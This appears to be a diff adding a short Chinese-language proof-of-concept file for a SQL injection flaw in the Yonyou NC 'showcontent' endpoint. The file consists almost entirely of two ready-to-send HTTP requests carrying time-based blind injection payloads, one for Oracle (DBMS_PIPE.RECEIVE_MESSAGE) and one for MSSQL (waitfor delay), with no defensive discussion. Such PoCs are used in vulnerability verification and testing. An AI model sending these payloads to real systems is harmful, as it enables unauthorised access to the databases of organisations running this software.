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+## 用友NC-showcontent接口存在sql注入漏洞
+
+
+## poc
+```
+orale:
+GET /ebvp/infopub/showcontent?id=1'%20AND%203983=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(76)||CHR(108)||CHR(101),9)%20AND%20'Mgtn'='Mgtn HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+Accept-Encoding: identity
+Connection: close
+Content-Type: text/xml; charset=utf-8
+SL-CE-SUID: 31
+
+
+
+mssql:
+GET /ebvp/infopub/showcontent?id=1'%20waitfor%20delay%20'0:0:6
+Host:
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+
+```